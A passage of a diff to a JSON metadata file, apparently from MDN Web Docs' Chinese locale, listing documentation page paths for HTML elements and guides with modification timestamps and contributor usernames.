"2020-01-19T10:58:58.576Z", + "Web/HTML/Element/br": { + "modified": "2020-10-15T21:41:22.726Z", "contributors": [ - "zenHeart", - "Skyrelu" + "kite-js", + "hoyt", + "gqqnbig", + "venden" ] }, - "Web/Guide/CSS/Understanding_z_index/Stacking_without_z-index": { - "modified": "2019-08-23T06:42:17.114Z", + "Web/HTML/Element/button": { + "modified": "2020-10-15T21:34:26.939Z", "contributors": [ - "allan_simon", - "ziyunfei", - "teoli", - "sunnylost", - "endlesswind" + "ilexwg", + "YuanGYao", + "kite-js", + "WeJie", + "wizardforcel", + "ezirmusitua", + "AnitaYin", + "JulieLee77" ] }, - "Web/Guide/CSS/Understanding_z_index/The_stacking_context": { - "modified": "2020-01-02T04:20:32.161Z", + "Web/HTML/Element/canvas": { + "modified": "2020-10-15T21:21:53.234Z", "contributors": [ - "Sl0v3C", - "realstephenzhao", - "hayahayao", - "SakuraSnow", - "zjffun", - "gzponline", - "kevinfszu", - "Ende93", - "huangcheng", - "yisibl", + "Mookiepiece", + "Martin.Chow", + "pantao", + "King.521", + "lunix01", + "qguor", "ziyunfei", - "Dolphin_Wood", - "davin107", - "fake", - "teoli", - "ethertank", - "tzyeah" + "xcffl" ] }, - "Web/Guide/CSS/Using_CSS_gradients": { - "modified": "2020-08-08T22:22:01.317Z", + "Web/HTML/Element/caption": { + "modified": "2019-03-23T22:47:30.729Z", "contributors": [ - "funicular", - "pe4ch", - "sanxun515", - "Aamperor", - "zhangnan666", - "zjffun", - "weedwong", - "Gaven-Xu", - "yatace", - "Sebastianz", - "hkfn123", - "lttxzmj", - "RogerShen", - "anjianshi" + "_sollrei", + "gqqnbig", + "pantao" ] }, - "Web/Guide/CSS/Using_multi-column_layouts": { - "modified": "2019-03-23T23:28:24.667Z", + "Web/HTML/Element/center": { + "modified": "2019-03-23T22:10:15.013Z", "contributors": [ - "Bayes", - "xgqfrms-GitHub", - "fscholz", - "Nightingale" + "maoyumaoxun", + "wizardforcel" ] }, - "Web/Guide/CSS/Using_the_:target_selector": { - "modified": "2019-03-23T22:52:16.056Z", + "Web/HTML/Element/cite": { + "modified": "2020-10-15T21:41:43.390Z", "contributors": [ - "Ende93", - "huangcheng", - "FredWe" + "Humilitas", + "yuyuanqiu", + "gafish", + "lucoo01", + "ma125120", + "King." ] }, - "Web/Guide/CSS/Visual_formatting_model": { - "modified": "2019-03-18T21:10:31.376Z", + "Web/HTML/Element/code": { + "modified": "2019-03-23T23:19:07.452Z", "contributors": [ - "guangzai", - "ssttii", - "qw8880000", - "Terry.Qiao", "ziyunfei", - "zhanglun", - "teoli", - "sunnylost", - "yan" + "guoyunhebrave" ] }, - "Web/Guide/Events": { - "modified": "2019-03-23T23:20:12.541Z", + "Web/HTML/Element/col": { + "modified": "2019-04-13T00:08:55.934Z", "contributors": [ - "Imagine-Tom", - "tcatche", - "NoDocCat", - "Tankunpeng", - "Jeremie" + "Rominez", + "zxcvbnm", + "FredWe" ] }, - "Web/Guide/Events/Creating_and_triggering_events": { - "modified": "2020-05-27T10:29:01.846Z", + "Web/HTML/Element/colgroup": { + "modified": "2020-10-15T21:37:46.269Z", "contributors": [ - "Carllllo", - "xingleizhao", - "but0n", - "zhangchen", - "LuSitong", - "Iamxiaozhu", - "ucev", - "xgqfrms-GitHub", - "ZhengYinBo", - "carllx", - "timwangdev", - "FredWe", - "ReyCG_sub" + "RainSlide", + "Soyaine", + "PandaadnaP", + "FredWe" ] }, - "Web/Guide/Events/Event_handlers": { - "modified": "2019-03-23T23:20:11.825Z", + "Web/HTML/Element/content": { + "modified": "2019-03-23T22:10:12.369Z", "contributors": [ - "tcatche", - "Le-Fu", - "xgqfrms-GitHub", - "ziyunfei", - "Darrel.Hsu" + "wizardforcel" ] }, - "Web/Guide/Events/Media_events": { - "modified": "2020-07-02T07:14:48.714Z", + "Web/HTML/Element/data": { + "modified": "2020-10-15T21:28:38.554Z", "contributors": [ - "9aoyang", - "haocity", - "TimRChen", - "maicss", - "GSBL", - "bizbin", - "esterTion", - "SudoKillMe", - "zilong-thu", - "ziyunfei", - "Anonymous" + "RainSlide", + "hxl" ] }, - "Web/Guide/Events/Mutation_events": { - "modified": "2019-03-23T22:51:23.609Z", + "Web/HTML/Element/datalist": { + "modified": "2020-10-15T21:19:07.919Z", "contributors": [ - "Pada", - "peonyriver", - "FredWe" + "gafish", + "zhangchen", + "mfranzke", + "wbamberg", + "Jianming", + "SphinxKnight", + "koaqiu", + "JulieLee77", + "ziyunfei" ] }, - "Web/Guide/Events/Orientation_and_motion_data_explained": { - "modified": "2019-03-23T23:10:07.666Z", + "Web/HTML/Element/dd": { + "modified": "2019-03-23T22:39:17.576Z", "contributors": [ - "fancy" + "zhuangyin", + "PoppinL" ] }, - "Web/Guide/Events/Overview_of_Events_and_Handlers": { - "modified": "2019-03-23T22:51:31.630Z", + "Web/HTML/Element/del": { + "modified": "2020-10-15T21:44:56.125Z", "contributors": [ - "Song2017", - "FredWe" + "lastVigo", + "Ende93" ] }, - "Web/Guide/Graphics": { - "modified": "2020-12-07T03:47:26.253Z", + "Web/HTML/Element/details": { + "modified": "2020-10-15T21:40:23.093Z", "contributors": [ - "SphinxKnight", - "Vongola-czr", - "Mookiepiece", + "Sc0tt", "RainSlide", - "zhuangyin", - "ITxiaochong", - "pluwen", - "m4jing", - "jinger7281", - "wth", - "rockywen", - "ryerh", - "wanglingzhi", - "Kasuganosora", - "Hikerpig" + "moquede", + "Jiang-Xuan", + "wh1msy", + "xgqfrms-GitHub", + "Martin.Chow" ] }, - "Web/Guide/HTML/Content_Editable": { - "modified": "2020-09-22T00:31:12.632Z", + "Web/HTML/Element/dfn": { + "modified": "2020-08-14T22:28:54.156Z", "contributors": [ - "imarco", - "YogurtQ", - "xianghui-ma", - "Hew007", - "zhuangyin", - "jamesxu", - "ziyunfei", - "teoli", - "sunnylost", - "ethertank" + "liujtani", + "harttle" ] }, - "Web/Guide/HTML/Content_Editable/Rich-Text_Editing_in_Mozilla": { - "modified": "2019-11-25T00:57:33.951Z", + "Web/HTML/Element/dialog": { + "modified": "2020-10-15T21:53:47.497Z", "contributors": [ - "gao5252", - "SphinxKnight", - "chrisdavidmills", - "sijinglei", - "doodlewind", - "zezhou", - "Cbgrape", - "Teago" + "bambooom", + "RainSlide", + "Bayes", + "xgqfrms-GitHub" ] }, - "Web/Guide/HTML/Content_categories": { - "modified": "2019-09-24T00:45:30.074Z", + "Web/HTML/Element/dir": { + "modified": "2019-03-21T11:22:00.363Z", "contributors": [ - "Metaloe", - "gnepnaiL-oahZ", - "unclesamnumberone", - "jizhi77", - "ZeroJsus", - "huozicheng", - "AllenYangFly", - "arya0822", - "kevinfszu", - "pantao", - "LuyaoWang", - "FredWe" + "RainSlide", + "wizardforcel" ] }, - "Web/Guide/HTML/Email_links": { - "modified": "2020-05-25T10:01:07.179Z", + "Web/HTML/Element/div": { + "modified": "2020-10-15T21:37:14.662Z", "contributors": [ - "sweeney", - "xgqfrms" + "imdsc", + "guofai", + "BurNing1993", + "RainSlide", + "gafish", + "YunZhongZi", + "pantao", + "FredWe" ] }, - "Web/Guide/HTML/Forms_in_HTML": { - "modified": "2019-03-23T23:33:41.492Z", + "Web/HTML/Element/dl": { + "modified": "2020-04-29T06:50:25.527Z", "contributors": [ - "huozicheng", - "xgqfrms-GitHub", - "ziyunfei", + "tanshaobo", + "wenchuyang", + "zhuangyin", + "PoppinL", "teoli", - "sunnylost", - "jtyjty99999" + "pantao" ] }, - "Web/Guide/HTML/HTML": { - "modified": "2019-06-25T10:18:27.080Z", + "Web/HTML/Element/dt": { + "modified": "2019-03-23T22:52:08.449Z", "contributors": [ - "xiajun1996", - "ziyunfei", - "zzangxu" + "PoppinL", + "pantao", + "FredWe" ] }, - "Web/Guide/HTML/HTML5": { - "modified": "2019-04-29T21:49:51.078Z", + "Web/HTML/Element/em": { + "modified": "2019-08-13T01:09:58.820Z", "contributors": [ - "vanpipy", - "mike-j", - "GameWang", - "fanerge", - "mfoonirlee", - "Summer1026", - "xgqfrms-GitHub", - "Go7hic", - "panhe-xue", - "ObooChin", - "kevinfszu", - "teoli", + "huxinsen", + "eMUQI", + "bobo159357456", "xgqfrms", - "fghycode", - "jasonworg", - "mengzyou", - "Breezewish", - "Jianming", - "ziyunfei", - "xuxun", - "TimZhao", - "sunnylost", - "xcffl", - "princetoad@gmail.com" + "pantao" ] }, - "Web/Guide/HTML/HTML5/Constraint_validation": { - "modified": "2020-08-07T06:53:08.941Z", + "Web/HTML/Element/embed": { + "modified": "2020-10-15T21:28:42.719Z", "contributors": [ - "Nierifeng", - "shiyi25928988", - "yongchen" + "RainSlide", + "chenos", + "Martin.Chow", + "Startan" ] }, - "Web/Guide/HTML/HTML5/HTML5_Thematic_Classification": { - "modified": "2019-03-23T23:39:08.496Z", + "Web/HTML/Element/fieldset": { + "modified": "2020-10-15T21:49:19.693Z", "contributors": [ - "ziyunfei", - "kevmdn" + "Carllllo", + "lucoo01", + "ezirmusitua", + "abowloflrf", + "cyxlj" ] }, - "Web/Guide/HTML/HTML5/HTML5_element_list": { - "modified": "2020-01-10T02:18:08.432Z", + "Web/HTML/Element/figcaption": { + "modified": "2019-03-23T22:35:32.183Z", "contributors": [ - "yinsang", - "Jevol", - "yongdi", - "Breezewish", - "ziyunfei" + "wizardforcel", + "travellingkite", + "Ende93" ] }, - "Web/Guide/HTML/HTML5/Introduction_to_HTML5": { - "modified": "2019-03-24T00:12:23.341Z", + "Web/HTML/Element/figure": { + "modified": "2020-10-15T21:38:52.140Z", "contributors": [ - "eeeeeeeason", - "YueBiYang", - "008", - "guotingchaopr", - "ziyunfei", - "ibeen", - "gaoyanqi", - "leegorous" + "gafish", + "RainSlide", + "lcw0622", + "ajfg93", + "Ende93", + "041008725", + "you0509" ] }, - "Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document": { - "modified": "2019-03-21T10:38:08.111Z", + "Web/HTML/Element/font": { + "modified": "2019-03-23T22:10:03.224Z", "contributors": [ - "RainSlide", - "jimmy-sum", - "VdoG", - "StarXY", - "kevinfszu", - "mengzyou", - "xuexiaocai" + "yinsang", + "wizardforcel" ] }, - "Web/Guide/HTML/Tips_for_authoring_fast-loading_HTML_pages": { - "modified": "2020-07-16T22:22:33.856Z", + "Web/HTML/Element/footer": { + "modified": "2020-10-15T21:38:27.121Z", "contributors": [ - "Dorence", - "Banhave", - "boltyu", - "TheaAo", - "wth", - "Samoay", - "ziyunfei", - "Y001", - "Mgjbot", - "Carrie zhxj" + "gafish", + "Ende93", + "sweetliu", + "W.D.L" ] }, - "Web/Guide/HTML/Using_HTML5_audio_and_video": { - "modified": "2019-09-28T22:50:38.146Z", + "Web/HTML/Element/form": { + "modified": "2020-10-15T21:14:51.331Z", "contributors": [ - "zaixuzheng", - "wth", - "Cindy_Liu", - "lyxuncle", - "flyonok", - "zhaiyu.zhaiyu", - "troywith77", - "ArthasTree", - "rogueduola", - "tankhanleng", - "shenhao" + "Clarkkkk", + "Carllllo", + "Daqin", + "xuiang", + "RainSlide", + "Alfxjx", + "l613", + "gafish", + "linjialiang", + "HJ8848", + "luzhe610", + "Structure88", + "wizardforcel", + "maicss", + "zrtalent", + "FredWe", + "ziyunfei", + "lenvens" ] }, - "Web/Guide/HTML/Using_data_attributes": { - "modified": "2020-07-16T22:22:37.588Z", + "Web/HTML/Element/frame": { + "modified": "2019-03-23T22:10:16.682Z", "contributors": [ - "zhangchen", - "hhxxhg", - "lavenderming", - "xgqfrms-GitHub", - "hellotaotao", - "Go7hic", - "marshalYuan", - "monjer", - "Deryckxie" + "wizardforcel" ] }, - "Web/Guide/Localizations_and_character_encodings": { - "modified": "2020-05-07T10:52:56.537Z", + "Web/HTML/Element/frameset": { + "modified": "2020-10-15T21:48:59.254Z", "contributors": [ "Ende93", - "91JOJO", - "xdsnet" + "xgqfrms-GitHub", + "Fogwind" ] }, - "Web/Guide/Mobile": { - "modified": "2019-03-23T23:20:37.061Z", + "Web/HTML/Element/head": { + "modified": "2020-10-15T21:31:48.499Z", "contributors": [ - "TaoWei", - "mywentu", - "peterwang1996", - "qry", - "liminjun", - "xbzhs", - "duan.xiaodong", - "wanglong", - "ziyunfei" + "eforegist", + "jesse0x90", + "AlexChao" ] }, - "Web/Guide/Parsing_and_serializing_XML": { - "modified": "2019-08-12T08:51:44.801Z", + "Web/HTML/Element/header": { + "modified": "2020-10-15T21:27:00.445Z", "contributors": [ + "gafish", "RainSlide", - "haaling" + "wbamberg", + "ziyunfei", + "hutuxu" ] }, - "Web/Guide/Performance": { - "modified": "2020-10-09T03:08:14.338Z", + "Web/HTML/Element/hgroup": { + "modified": "2020-09-15T22:26:38.462Z", "contributors": [ - "kite-js", - "SphinxKnight", - "Imagine-Tom", - "yexk", - "leozhang", - "sunnylost", - "DAVINDAI", - "ziyunfei" + "hellorayza", + "emanruoy", + "allan_simon", + "diqiuxin", + "Ende93" ] }, - "Web/HTML": { - "modified": "2020-05-18T02:45:10.401Z", + "Web/HTML/Element/hr": { + "modified": "2020-10-15T21:39:09.045Z", "contributors": [ - "SphinxKnight", - "MrWangYaNan", - "mkckr0", - "Mengli", - "853419196", - "xmcgcg", - "xq20160912", - "RainSlide", - "fanerge", - "abramsz", - "wangfy", - "fenyu", - "asthman666", - "mao001", - "vizardsLau", - "Planet6174", - "pluwen", - "ChangJun2018", - "robsean", - "ldwformat", - "xixilog", - "wh1msy", - "xx1124961758", - "little-love", - "Shadowhiker", - "Blink", - "ylws", - "liugev6", - "fygyx1", - "pkl6612", - "mona", - "PoppinL", - "ziyunfei", - "lunix01", - "Breezewish", - "xuxun", - "allan_simon", - "TimZhao", - "jessiecaisme", - "Futao.Gao" + "mitaosi", + "tanshaobo", + "gafish", + "lucoo01", + "azheng", + "nicholas-yangding", + "Ende93", + "pantao" ] }, - "Web/HTML/Applying_color": { - "modified": "2020-07-22T05:27:42.410Z", + "Web/HTML/Element/html": { + "modified": "2020-10-15T21:37:17.396Z", "contributors": [ - "WinterCicada", - "Dorence" + "gafish", + "eforegist", + "xgqfrms-GitHub", + "thinklittle", + "VdoG", + "ruilee16", + "jesse0x90", + "jasonnn331", + "Ende93", + "FredWe" ] }, - "Web/HTML/Attributes": { - "modified": "2020-08-28T22:38:07.073Z", + "Web/HTML/Element/i": { + "modified": "2019-03-23T23:11:10.638Z", "contributors": [ - "nodeZ", - "fygyx1", - "tys", - "Carllllo", - "MartinsYong", - "enoorez", - "yhs-APerson", - "yuehp", - "PoppinL", - "ziyunfei", - "phoenixLU" + "StormBR1120", + "ccn1010", + "ranwu", + "pantao", + "Hey-Ray" ] }, - "Web/HTML/Attributes/自动完成属性": { - "modified": "2020-10-15T22:25:13.539Z", + "Web/HTML/Element/iframe": { + "modified": "2020-10-15T21:21:27.595Z", "contributors": [ - "pans9" + "卡尔维斯特", + "HHH-can", + "frankli0324", + "gafish", + "Aslower", + "hexianzhi", + "xgqfrms", + "wbamberg", + "GameWang", + "AlvinBlack", + "Ende93", + "shiddong", + "xuxun", + "xgqfrms-GitHub", + "hoyt", + "Marcia_gm", + "Sivan", + "ReyCG_sub", + "ziyunfei", + "monjer", + "Josephok", + "ZhangJianxiang" ] }, - "Web/HTML/Block-level_elements": { - "modified": "2019-03-18T20:38:24.578Z", + "Web/HTML/Element/image": { + "modified": "2019-03-30T00:32:55.632Z", "contributors": [ - "kmc947373", - "CraigZeng", - "FredWe", - "Breezewish", - "teoli", - "ziyunfei", - "wdlth" + "raygift", + "hoyt" ] }, - "Web/HTML/CORS_enabled_image": { - "modified": "2020-05-06T06:27:48.960Z", + "Web/HTML/Element/img": { + "modified": "2020-10-15T21:34:27.415Z", "contributors": [ - "oxyg3n", - "guow10", - "PaulHan", - "wYhooo", - "xgqfrms-GitHub", - "kmc947373", - "ziyunfei", - "Breezewish" + "liangmuyang", + "HaoyuA", + "XLCYun", + "RainSlide", + "LexieAlreadyTaken", + "imbant", + "zzykillu", + "gafish", + "Ahhaha233", + "Everain", + "iefreer", + "fuchao2012", + "anjia" ] }, - "Web/HTML/CORS_settings_attributes": { - "modified": "2019-11-26T01:56:32.661Z", + "Web/HTML/Element/ins": { + "modified": "2020-10-15T21:39:08.740Z", "contributors": [ - "wangjian", - "Melo.HG", - "xgqfrms-GitHub", - "mygaochunming", - "xgqfrms", - "kmc947373" + "gafish", + "lastVigo", + "Martin.Chow", + "pantao" ] }, - "Web/HTML/DASH_Adaptive_Streaming_for_HTML_5_Video": { - "modified": "2019-12-03T21:07:25.830Z", + "Web/HTML/Element/isindex": { + "modified": "2019-03-23T22:43:17.045Z", "contributors": [ - "guow10", - "xcffl" + "Martin.Chow" ] }, - "Web/HTML/Element": { - "modified": "2019-12-03T05:56:52.523Z", + "Web/HTML/Element/kbd": { + "modified": "2019-08-13T06:01:57.840Z", "contributors": [ - "RainSlide", - "eforegist", - "XiangHongAi", - "mdnjcc", + "kenneth55555", "hoyt", - "jian86392088", - "VdoG", - "ruilee16", - "jesse0x90", - "Ende93", - "Martin.Chow", - "Breezewish", - "ziyunfei", - "gqqnbig", - "jessiecaisme", - "xcffl", - "teoli", - "Cnmahj" + "perillasy" ] }, - "Web/HTML/Element/Heading_Elements": { - "modified": "2020-10-15T21:08:04.205Z", + "Web/HTML/Element/keygen": { + "modified": "2019-04-05T05:50:18.178Z", "contributors": [ - "gafish", - "imba-tjd", - "RainSlide", - "wizardforcel", - "HashubWang", - "venden", - "Ende93", - "ziyunfei" + "Ende93" ] }, - "Web/HTML/Element/Input": { - "modified": "2020-05-27T10:36:01.533Z", + "Web/HTML/Element/label": { + "modified": "2020-10-15T21:34:28.099Z", "contributors": [ "Carllllo", - "Rem486", - "wxyads", - "853419196", - "JuliusKingsley", - "zhangchen", - "qihuanlu01", - "zaixuzheng", - "yangshang01", - "yuyx91", - "voidzhou", - "hebby", - "jiangseventeen", - "fsx950223", - "Tiaen", + "plusmultiply0", + "one-day-day", + "kuei0221", + "yuyuanqiu", + "loveyunk", + "Ende93", + "tinunkai", + "codevvvv9", + "yinsang", "xgqfrms-GitHub", - "liaoyinglong", - "adam198824", - "liyongleihf2006", - "AutumnFish", - "luobotang", - "gqqnbig", - "Ivan_V", - "zilong-thu", - "Metalooze", - "tiansh", - "ziyunfei", - "rnoka" + "TooBug", + "ObooChin", + "JulieLee77" ] }, - "Web/HTML/Element/Input/button": { - "modified": "2019-03-18T21:28:02.958Z", + "Web/HTML/Element/legend": { + "modified": "2020-10-15T21:28:02.232Z", "contributors": [ - "zaixuzheng", - "bear-x" + "Carllllo", + "xingzhi" ] }, - "Web/HTML/Element/Input/checkbox": { - "modified": "2019-07-01T05:04:47.435Z", + "Web/HTML/Element/li": { + "modified": "2019-04-06T23:38:24.006Z", "contributors": [ - "konrumi" + "lwj621", + "wizardforcel", + "changwu", + "JoshuaLee" ] }, - "Web/HTML/Element/Input/color": { - "modified": "2019-03-23T22:16:45.281Z", + "Web/HTML/Element/link": { + "modified": "2020-10-15T21:43:08.607Z", "contributors": [ - "ecnelises", - "litmonw", - "konrumi" + "woshiqiang1", + "mitaosi", + "dlnb526", + "Yayure", + "LINYI", + "seanyue", + "csideakevin", + "gafish", + "Blue-momo", + "wh.D", + "zhangqiangoffice", + "VdoG", + "sdc37h", + "zhengjianqiao", + "jethro2016", + "ZackBee", + "cissoid", + "jesse0x90", + "gqqnbig", + "041008725" ] }, - "Web/HTML/Element/Input/date": { - "modified": "2019-03-23T22:01:59.059Z", + "Web/HTML/Element/listing": { + "modified": "2019-03-23T22:10:12.488Z", "contributors": [ - "LeonH", - "WeiGrand", - "tangj1206" + "wizardforcel" ] }, - "Web/HTML/Element/Input/datetime": { - "modified": "2019-07-13T11:00:17.487Z", + "Web/HTML/Element/main": { + "modified": "2020-10-15T21:34:53.469Z", "contributors": [ - "853419196", - "wizardforcel" + "panda2134", + "kidwen", + "RainSlide", + "agannwei", + "gafish", + "sun_all", + "Alexanderonepills", + "zhangchen", + "yuyang", + "beiweiqiang", + "pantao", + "holynewbie", + "TANRUI", + "oxygen16" ] }, - "Web/HTML/Element/Input/datetime-local": { - "modified": "2020-10-24T12:05:38.587Z", + "Web/HTML/Element/map": { + "modified": "2020-06-30T05:42:09.220Z", "contributors": [ - "HermitSun", - "ThaddeusJiang", - "zhangchen", - "kite-js" + "ikomom", + "Feel-Joy", + "wizardforcel", + "xycd", + "naive233" ] }, - "Web/HTML/Element/Input/email": { - "modified": "2020-10-15T22:07:09.640Z", + "Web/HTML/Element/mark": { + "modified": "2020-01-10T01:04:18.292Z", "contributors": [ - "Chattille", - "CiaoLee", - "zaixuzheng" + "yuyuanqiu", + "XiaoWinter", + "puppyer", + "Benjamin-Smith", + "looso", + "iigmir", + "Byronic94", + "marchen" ] }, - "Web/HTML/Element/Input/file": { - "modified": "2020-10-15T21:55:53.292Z", + "Web/HTML/Element/marquee": { + "modified": "2019-03-23T22:16:10.183Z", "contributors": [ - "mkckr0", - "DreamLxq", - "hehe1111", - "alfredchan3", - "zhangchen", - "vippiv", - "AmyFoxFN", - "YinlongCoding", - "chinafootballyu", - "zxc5800", + "siyecao", + "Easton605", "wizardforcel", - "ezirmusitua" + "viazure", + "snovey" ] }, - "Web/HTML/Element/Input/hidden": { - "modified": "2020-10-15T22:15:28.120Z", + "Web/HTML/Element/menu": { + "modified": "2020-10-15T21:37:16.105Z", "contributors": [ - "guow10", - "RainSlide" + "RainSlide", + "yuyx91", + "kgojiwong", + "pantao", + "holynewbie" ] }, - "Web/HTML/Element/Input/image": { - "modified": "2020-10-15T21:49:38.681Z", + "Web/HTML/Element/menuitem": { + "modified": "2020-10-15T21:58:27.361Z", "contributors": [ - "SphinxKnight", - "Henry", - "yu.xcode", - "MissingDreamland" + "RainSlide", + "wangxuedongovo" ] }, - "Web/HTML/Element/Input/number": { - "modified": "2019-03-23T22:10:11.887Z", + "Web/HTML/Element/meta": { + "modified": "2020-10-15T21:34:02.227Z", "contributors": [ + "RainSlide", + "Carllllo", + "chanvin", + "dlnb526", + "vanestone", + "xq20160912", + "ceido", + "Bayes", + "VdoG", "zxsunrise", - "XXXS", - "hmzll", - "Ende93", - "xgqfrms-GitHub" + "wpc1403s2", + "fsx950223", + "yellow-lines", + "yunikoro", + "scl930227", + "daixinye", + "zt2", + "Noly1990", + "aimiy", + "clarkzsd", + "qixi", + "xgqfrms-GitHub", + "wangdapeng1005", + "zhouyu1993", + "SolitudeRA", + "Annlix", + "littlee", + "pantao", + "SimplyY", + "Fadeoc" ] }, - "Web/HTML/Element/Input/password": { - "modified": "2020-10-15T22:06:31.185Z", + "Web/HTML/Element/meta/name": { + "modified": "2020-10-15T22:33:39.182Z", "contributors": [ - "byouw", - "zaixuzheng" + "RainSlide", + "hanochrosebush" ] }, - "Web/HTML/Element/Input/radio": { - "modified": "2020-10-15T21:55:25.436Z", + "Web/HTML/Element/meter": { + "modified": "2019-03-23T22:20:26.204Z", "contributors": [ - "luohuayouyi12138", - "LeonZou", - "zhangchen", - "wizardforcel" + "hoyt" ] }, - "Web/HTML/Element/Input/reset": { - "modified": "2020-10-15T22:25:10.687Z", + "Web/HTML/Element/multicol": { + "modified": "2019-03-23T22:18:36.663Z", "contributors": [ - "guow10" + "wizardforcel", + "xgqfrms-GitHub" ] }, - "Web/HTML/Element/Input/search": { - "modified": "2020-10-15T22:25:21.244Z", + "Web/HTML/Element/nav": { + "modified": "2020-10-15T21:26:27.913Z", "contributors": [ - "Lin-dreamer", - "guow10" + "gafish", + "wbamberg", + "yatace", + "ziyunfei", + "TimZhao", + "bowen-shi" ] }, - "Web/HTML/Element/Input/submit": { - "modified": "2020-10-15T22:05:11.959Z", + "Web/HTML/Element/nextid": { + "modified": "2020-10-15T22:25:21.460Z", "contributors": [ - "guow10", - "RainSlide", - "bingxl" + "pans9" ] }, - "Web/HTML/Element/Input/tel": { - "modified": "2019-03-18T21:42:44.923Z", + "Web/HTML/Element/nobr": { + "modified": "2019-03-23T22:10:16.065Z", "contributors": [ - "yuyx91" + "wizardforcel" ] }, - "Web/HTML/Element/Input/text": { - "modified": "2020-10-15T22:14:33.627Z", + "Web/HTML/Element/noembed": { + "modified": "2019-03-23T22:10:11.377Z", "contributors": [ - "guow10", - "acuptea" + "wizardforcel" ] }, - "Web/HTML/Element/Input/time": { - "modified": "2020-10-15T22:19:46.814Z", + "Web/HTML/Element/noframes": { + "modified": "2019-03-23T22:10:12.853Z", "contributors": [ - "kuailekai", - "jason-guo" + "wizardforcel" ] }, - "Web/HTML/Element/Input/url": { - "modified": "2020-10-15T22:31:25.105Z", + "Web/HTML/Element/noscript": { + "modified": "2020-10-15T21:41:44.231Z", "contributors": [ - "yu.xcode" + "gafish", + "Serendipity96", + "williamjing", + "xgqfrms-GitHub", + "wleonid" ] }, - "Web/HTML/Element/Input/week": { - "modified": "2020-10-15T22:25:21.176Z", + "Web/HTML/Element/object": { + "modified": "2020-10-15T21:25:11.550Z", "contributors": [ - "pans9" + "gafish", + "zaixuzheng", + "Martin.Chow", + "ziyunfei", + "TimZhao" ] }, - "Web/HTML/Element/Input/月份": { - "modified": "2020-10-15T21:57:03.537Z", + "Web/HTML/Element/ol": { + "modified": "2020-10-15T21:37:41.454Z", "contributors": [ "RainSlide", - "AliasZet" - ] - }, - "Web/HTML/Element/Input/范围": { - "modified": "2020-10-15T22:25:22.859Z", - "contributors": [ - "q.z", - "hzy", - "pans9" + "gafish", + "fcg55254", + "nuo2000", + "benpigchu", + "tcatche", + "Ende93", + "dongnanzhan", + "FredWe" ] }, - "Web/HTML/Element/Shadow": { - "modified": "2019-03-23T22:10:02.975Z", + "Web/HTML/Element/optgroup": { + "modified": "2020-10-15T21:48:34.575Z", "contributors": [ - "wizardforcel" + "Carllllo", + "shinnqy" ] }, - "Web/HTML/Element/a": { - "modified": "2020-10-15T21:24:07.101Z", + "Web/HTML/Element/option": { + "modified": "2020-10-15T21:37:43.170Z", "contributors": [ - "gmaso", - "gafish", - "RainSlide", - "JimmieMax", - "JinRong.Yang", - "sunbeyond", - "zhaoqize", + "Carllllo", "wizardforcel", - "Dafrok", - "xgqfrms-GitHub", - "simonguo", - "Ende93", - "Yelmor", - "yaoliyc", - "yatace", - "venden", - "FredWe", - "NIGHTEAGLE", + "King.", "ziyunfei", - "TimZhao", - "jessiecaisme" + "zhache12345" ] }, - "Web/HTML/Element/abbr": { - "modified": "2020-10-15T21:24:12.293Z", + "Web/HTML/Element/output": { + "modified": "2020-10-15T21:41:37.216Z", "contributors": [ - "Astroleander", - "shuihuo", - "greyyyyy", - "RainSlide", - "xianshenglu", - "Ende93", - "xgqfrms-GitHub", - "fscholz", - "xingzhi", - "ziyunfei", - "jessiecaisme" + "wbamberg", + "zhangchen", + "King." ] }, - "Web/HTML/Element/acronym": { - "modified": "2019-03-23T22:47:31.151Z", + "Web/HTML/Element/p": { + "modified": "2019-03-23T23:14:26.595Z", "contributors": [ - "wizardforcel", - "xgqfrms-GitHub", - "YaohuiWu", - "pantao" + "Adashuai5", + "MrZhang", + "Ende93", + "FredWe", + "xingzhi" ] }, - "Web/HTML/Element/address": { - "modified": "2020-10-15T21:28:19.569Z", + "Web/HTML/Element/param": { + "modified": "2020-10-15T21:50:13.073Z", "contributors": [ "gafish", - "Huangyilin19", - "RainSlide", - "rguanghui", - "xingzhi" + "JinRong.Yang", + "naive233" ] }, - "Web/HTML/Element/applet": { - "modified": "2019-03-23T22:30:12.481Z", + "Web/HTML/Element/picture": { + "modified": "2020-10-15T21:48:04.092Z", "contributors": [ - "chhpt" + "imba-tjd", + "yisibl", + "PoppinL" ] }, - "Web/HTML/Element/area": { - "modified": "2019-03-23T22:50:07.483Z", + "Web/HTML/Element/plaintext": { + "modified": "2019-03-23T22:10:03.107Z", "contributors": [ - "CLoli", - "purcy", - "Undecyce", - "lily121", - "maicss", - "liangmuyang", - "TheaAo", - "naive233", - "xrds" + "wizardforcel" ] }, - "Web/HTML/Element/article": { - "modified": "2020-10-15T21:26:55.414Z", + "Web/HTML/Element/pre": { + "modified": "2020-10-15T21:39:48.026Z", "contributors": [ "gafish", - "SphinxKnight", - "916106840510", - "GalvinGao", - "rguanghui", - "ziyunfei", - "hutuxu" + "xgqfrms-GitHub", + "jiangseventeen", + "VdoG", + "Ende93", + "pengliheng" ] }, - "Web/HTML/Element/aside": { - "modified": "2020-10-15T21:34:26.905Z", - "contributors": [ - "gafish", - "RainSlide", - "shlugood", - "Jacky-88", - "YifangDONG", - "kevinfszu", - "rguanghui" - ] - }, - "Web/HTML/Element/audio": { - "modified": "2020-11-26T10:10:23.964Z", + "Web/HTML/Element/progress": { + "modified": "2020-10-15T21:05:48.761Z", "contributors": [ - "xusy", - "tanshaobo", - "Clarkkkk", - "RoXoM", + "wonschangge", + "mkckr0", + "fscholz", "wbamberg", - "HUxiaoAlinNG", - "little-tomorrow", - "Gerhut", - "mage3k", - "zhouyg", "ziyunfei", - "snadn" + "ethertank" ] }, - "Web/HTML/Element/b": { - "modified": "2019-03-18T20:42:37.816Z", + "Web/HTML/Element/q": { + "modified": "2020-10-15T21:44:22.274Z", "contributors": [ - "kite-js", - "Benjamin-Smith", - "lc-soft", - "zhuangyin", - "markyun", - "PoppinL" + "kenneth55555", + "fscholz", + "Zyan", + "Ende93", + "Jiang-Xuan" ] }, - "Web/HTML/Element/base": { - "modified": "2020-10-15T21:32:52.441Z", + "Web/HTML/Element/rb": { + "modified": "2020-10-15T22:14:32.981Z", "contributors": [ - "guow10", - "RainSlide", - "dodoBehind", - "Lux.lu", - "xgqfrms-GitHub", - "TheaAo", - "betseyliu", - "eforegist", - "PythonFo", - "RainKolwa", - "chinaliyun", - "mengzyou", - "nobug" + "richardmyu", + "zhaohaodang", + "astak" ] }, - 